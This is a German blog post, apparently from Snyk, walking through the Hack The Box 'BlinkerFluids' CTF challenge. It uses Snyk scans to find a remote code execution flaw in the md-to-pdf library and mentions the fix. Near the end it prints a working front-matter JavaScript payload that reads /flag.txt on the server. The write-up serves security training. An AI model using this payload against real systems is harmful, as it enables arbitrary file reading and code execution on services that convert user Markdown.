Hack The Box und andere CTF-Challenges mit Snyk lösen

Hack The Box (HTB) ist eine Plattform, die Cybersicherheitstraining spielerisch gestaltet. Sie eignet sich für angehende Penetrationstester ebenso wie für Entwickler, die Security Champions werden oder einfach die Denkweise von Angreifern besser verstehen möchten, um ihre Anwendungen sicherer zu machen.

Ich bin von der Wirksamkeit spielerischer Ansätze in Training und Bildung überzeugt, denn seien wir ehrlich: Wer kennt es nicht, an einer internen Sicherheitsschulung teilzunehmen oder für eine Zertifizierungsprüfung zu lernen und ein halbes Jahr später all das Wissen wieder vergessen zu haben? HTB verfolgt mit seinen praxisorientierten Capture-the-Flag-Spielen (CTF) einen anderen Ansatz. Dabei dringen Spieler in eine Maschine ein – in der Regel eine virtuelle Linux- oder Windows-Maschine –, indem sie Schwachstellen entdecken und ausnutzen. Ziel ist es, zwei Flags zu finden: zuerst die eines regulären Benutzers und anschließend durch eine Rechteausweitung die des Root-Benutzers. Eine Flag ist einfach der Inhalt einer bestimmten Textdatei auf der Maschine.

Neben den „Maschinen“ (den zentralen Elementen der Plattform) gibt es bei Hack The Box auch kleinere Aufgaben, an denen Sie teilnehmen können und die „Challenges“ heißen. Diese Challenges sind in der Regel etwas kürzer und verlangen nur eine Flag, enthalten aber oft ein vollständiges Set an herunterladbaren Ressourcen. Das kann eine PCAP-Datei sein, die Sie mit Wireshark analysieren, oder der vollständige Quellcode der betreffenden Anwendung. So können Sie deren Struktur und Code untersuchen – genau hier kommt Snyk ins Spiel.

Snyk hilft Ihnen, Schwachstellen und mögliche Einstiegspunkte schneller zu finden. Mit der Snyk CLI können Sie SAST- (Static Application Security Testing) und SCA-Tests (Software Composition Analysis) für Ihr Projekt ausführen. Außerdem scannt sie Anwendungsmanifestdateien wie package.json auf bekannte Schwachstellen in Open-Source-Bibliotheken. Snyk weist sogar auf PoCs hin.

Analyse der BlinkerFluids-Challenge

Die BlinkerFluids-Challenge ist ein hervorragendes Beispiel für HTB. Da sie recht einfach ist und sich gut für den Einstieg eignet, nutze ich sie in diesem Blogbeitrag zur Veranschaulichung.

Sobald Sie die Challenge starten, erhalten Sie die Host-IP-Adresse und den Port (in diesem Beispiel 46.101.2.216:32221). Wenn Sie diese in einem Browser öffnen, wird eine Website mit einer einfachen Benutzeroberfläche angezeigt.

Sehen wir uns an, was sich hinter dieser Ziel-URL verbirgt. Öffnen Sie dazu http://46.101.2.216:32221.

Die Anwendung besteht aus einer einzelnen Seite mit einer Liste von Rechnungen. Sie können Rechnungen als PDF exportieren, löschen oder neu erstellen.

Wenn wir den Mauszeiger über den PDF-Export-Link bewegen, sehen wir, dass die PDFs offenbar aus einem Verzeichnis für statische Assets bereitgestellt werden.

Der Editor zum Erstellen von Rechnungen scheint einen WYSIWYG-Editor bereitzustellen, der Eingaben in einer Auszeichnungssprache (Markdown) entgegennimmt und diese anschließend in ein PDF umwandelt.

Bevor wir den eigentlichen Zielhost weiter analysieren, laden wir zunächst die von der Challenge bereitgestellten Ressourcen herunter. Nach dem Herunterladen und Entpacken der ZIP-Datei erhalten wir den vollständigen Quellcode der Anwendung: eine als Docker-Image paketierte Node-Anwendung, einschließlich Dockerfile und package.json.

Im Stammverzeichnis finden wir außerdem eine flag.txt. Bei HTB-Challenges befindet sich die Flag in der Regel unter dem Pfad /flag.txt. Die Datei in diesem ZIP-Paket ist jedoch nur ein Platzhalter und nicht die aktive Flag, nach der wir suchen. Die HTB-Plattform generiert und rotiert diese Flags online mit einer eigenen Logik. In jedem Fall kennen wir jetzt die Zutaten und das Rezept der BlinkerFluids-App.

1─$ tree -L 2 
2. 
3├── build-docker.sh 
4├── challenge 
5│ ├── database.js 
6│ ├── helpers 
7│ ├── index.js 
8│ ├── node_modules 
9│ ├── package.json 
10│ ├── package-lock.json
11│ ├── routes 
12│ ├── static 
13│ └── views 
14├── config 
15│ └── supervisord.conf 
16├── Dockerfile 
17└── flag.txt 
187 directories, 8 files

Die eigentliche Anwendung befindet sich im Unterordner „challenge“. Wie wir sehen, gibt es im Verzeichnis node_modules einige Node-Bibliotheken, die als direkte und transitive Abhängigkeiten festgelegt sind. Außerdem finden wir den Ordner static, aus dem offenbar die zuvor gezeigten exportierten PDFs bereitgestellt werden.

1╰─$ tree -L 2 
2. 
3├── database.js 
4├── helpers 
5│ └── MDHelper.js 
6├── index.js 
7├── node_modules 
8│ ├── ... 
9│ ├── marked 
10│ ├── md-to-pdf 
11│ ├── media-typer 
12│ ├── ... 
13├── package.json 
14├── package-lock.json 
15├── routes 
16│ └── index.js 
17├── static 
18│ ├── css 
19│ ├── images 
20│ ├── invoices 
21│ └── js 
22└── views 
23└── index.html 
24379 directories, 7 files

Snyk Vulnerability Scan

Da wir nach einer Möglichkeit suchen, in die Anwendung einzudringen und die /flag.txt aus der Online-Instanz auszulesen, können wir den Code eingehend untersuchen, um die Logik zu verstehen. Aus Zeit- und Platzgründen gehe ich in diesem Blogbeitrag nicht allzu sehr ins Detail.

Im Wesentlichen suchen wir nach Schwachstellen im eigens geschriebenen Code oder in direkten beziehungsweise indirekten (transitiven) Abhängigkeiten.

Mit der Snyk CLI können wir beides tun. Wenn Sie Snyk noch nicht installiert haben, können Sie dies mit folgendem Befehl nachholen:

1npm i -g snyk

oder auf eine andere bevorzugte Weise, wie auf der Installationsseite der Snyk CLI beschrieben.

Im Unterordner challenge führen wir zunächst einen SAST-Test für den benutzerdefinierten Code aus:

1snyk code test

Das liefert uns folgende Ergebnisse:

1$ snyk code test
2
3Testing 
4/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge ...
5
6  ✗ [Medium] Cross-Site Request Forgery (CSRF) 
7    Path: index.js, line 2 
8    Info: Consider using csurf middleware for your Express app to protect against CSRF   attacks.
9
10  ✗ [Medium] Information Exposure 
11    Path: index.js, line 2 
12    Info: Disable X-Powered-By header for your Express app (consider using Helmet middleware), because it exposes information about the used framework to potential attackers. 
13
14  ✗ [Medium] Allocation of Resources Without Limits or Throttling 
15    Path: routes/index.js, line 9 
16    Info: This endpoint handler performs a file system operation and does
17not use a rate-limiting mechanism. It may enable the attackers to perform Denial-of-service attacks. Consider using a rate-limiting middleware such as express-limit. 
18
19  ✗ [High] Cross-site Scripting (XSS) 
20    Path: static/js/main.js, line 20 
21    Info: Unsanitized input from data from a remote resource flows into append, where it is used to dynamically construct the HTML page on client side. This may result in a DOM Based Cross-Site Scripting attack (DOMXSS). 
22
23✔ Test completed
24
25Organization: e-corp-demo 
26Test type: Static code analysis 
27Project path: 
28/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 
29
30Summary:
31
32  4 total Code issues: | 1 High | 3 Medium

Wir finden zwar einige Schwachstellen, darunter sogar eine mit hohem Schweregrad, doch lässt sich keine davon ausnutzen – XSS hilft uns in diesem Fall nicht wirklich weiter. Fahren wir also mit einem SCA-Test fort.

Bei einem SCA-Test analysiert Snyk die Manifestdateien eines Projekts (bei Node.js sind das package.json und package-lock.json).

1$ cat package.json 
2↵ 1 
3{ 
4        "name": "blinker-fluids", 
5        "version": "1.0.0", 
6        "description": "", 
7        "main": "index.js", 
8        "scripts": { 
9                "start": "node index.js" 
10        }, 
11        "keywords": [], 
12        "author": "rayhan0x01", 
13        "license": "ISC", 
14        "dependencies": { 
15                "express": "4.17.3", 
16                "md-to-pdf": "4.1.0", 
17                "nunjucks": "3.2.3", 
18                "sqlite-async": "1.1.3", 
19                "uuid": "8.3.2" 
20        }, 
21        "devDependencies": { 
22                "nodemon": "^1.19.1" 
23        } 
24} 

In der package.json finden wir nur fünf direkte Abhängigkeiten. Mit den transitiven Abhängigkeiten sind es jedoch insgesamt 371, wie aus der package-lock.json hervorgeht. Das sind eine Menge Schwachstellen, die manuell überprüft werden müssten. Führen wir Folgendes aus:

1$ npm install 
2$ snyk test

Wir erhalten folgende Ergebnisse:

1$ snyk test
2
3Testing
4/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge...
5
6Tested 286 dependencies for known issues, found 4 issues, 11 vulnerable paths. 
7
8Issues to fix by upgrading: 
9
10  Upgrade md-to-pdf@4.1.0 to md-to-pdf@5.0.2 to fix 
11  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity]  [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342073] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
12  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity] [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342082] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
13  ✗ Remote Code Execution (RCE) [Critical Severity] 
14[https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880] in md-to pdf@4.1.0 
15    introduced by md-to-pdf@4.1.0 
16
17Issues with no direct upgrade or patch: 
18  ✗ Regular Expression Denial of Service (ReDoS) [High Severity] [https://security.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908] in ansi regex@2.1.1 
19    introduced by md-to-pdf@4.1.0 > listr@0.14.3 > listr-update renderer@0.5.0 > strip-ansi@3.0.1 > ansi-regex@2.1.1 and 7 other path(s) This issue was fixed in versions: 3.0.1, 4.1.1, 5.0.1, 6.0.1 
20
21Organization: e-corp-demo 
22Package manager: npm 
23Target file: package-lock.json 
24Project name: blinker-fluids 
25Open source: no 
26Project path: 
27/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 
28Licenses: enabled

Das sieht schon besser aus. Die ReDoS-Probleme können wir ignorieren, denn ein Dienstausfall würde uns keinen Zugriff auf die Plattform verschaffen. Die kritische Schwachstelle für Remote Code Execution (RCE) in md-to-pdf sieht jedoch vielversprechend aus – genau das, was wir brauchen. Wir können davon ausgehen, dass md-to-pdf die Hilfsbibliothek ist, mit der die Rechnungs-Markdown-Datei in ein PDF umgewandelt wird.

Hier zeigt sich die Leistungsfähigkeit von Snyk. Die Projektabhängigkeiten wurden in Sekunden analysiert, Schwachstellen werden hervorgehoben und es gibt sogar einen Link zur Snyk Vulnerability Database – mit einem Exploit-PoC sowie Links zum ursprünglichen Fehlerbericht:

Diese Informationen helfen bei der Entwicklung des Exploits. Erwähnenswert ist jedoch, dass der Snyk-Bericht auch eine Empfehlung zur Behebung des Problems enthält, wie im obigen Screenshot zu sehen ist. Das ist ein konkreter, direkt umsetzbarer Ratschlag.

1How to fix? 
2Upgrade md-to-pdf to version 5.0.0 or higher.

Da wir jetzt die Rolle des Angreifers einnehmen, sehen wir uns den ursprünglichen GitHub-Issue an, um weitere Informationen zu erhalten.

Wie im GitHub-Issue erläutert, liegt das Problem darin, dass die Bibliothek gray-matter (die von md-to-pdf zum Parsen des Front Matter verwendet wird) standardmäßig eine JS-Engine freigibt. Dadurch wird im Grunde eval auf das angegebene Markdown angewendet, sodass jede Person, die den Markdown-Inhalt kontrolliert, beliebigen JavaScript-Code ausführen kann.

Wir finden den ursprünglichen PoC und weiter unten in den Kommentaren auch einen leicht angepassten PoC.

Mit diesem PoC wird versucht, ein Verzeichnis aufzulisten und auszugeben. Da wir uns für den Inhalt der Flag unter /flag.txt interessieren, passen wir den Code leicht an, um den Inhalt der Flag-Datei auszulesen:

1---js 
2{ 
3  css: `body::before { content: 
4"${require('fs').readFileSync('/flag.txt')}"; display: block }`, } 
5---

Wenn wir diesen Code in den Rechnungsgenerator einfügen und auf „Speichern“ klicken, erhalten wir ein PDF mit der gesuchten Flag.

Reichen Sie diese Flag ein – und die Challenge ist gelöst. Auf zur nächsten :)

Mit Snyk zum CTF-Champion

Hack The Box-Challenges sind eine unterhaltsame Möglichkeit, mehr über Schwachstellen und deren Ausnutzung zu erfahren. Snyk hat uns geholfen, diese Hack The Box-Challenge zu lösen: Die Anwendungsabhängigkeiten wurden schnell analysiert und eine kritische RCE-Schwachstelle samt Informationen zu ihrer Ausnutzung aufgezeigt. Außerdem erhielten Entwickler Informationen zur Behebung des Problems.

Merken Sie sich den Termin vor: Snyk veranstaltet am 9. November den „Fetch the Flag CTF“. Melden Sie sich an und machen Sie mit – es erwarten Sie 16 Challenges.

Über den Autor

Mathias Conradt ist Unternehmer und Cybersicherheitsexperte mit einem Hintergrund in Softwareentwicklung und Pre-Sales, Snyk Ambassador und Chapter Lead von DevSecCon Germany. Außerdem nimmt er an CTFs teil. Besuchen Sie hier seine persönliche Website.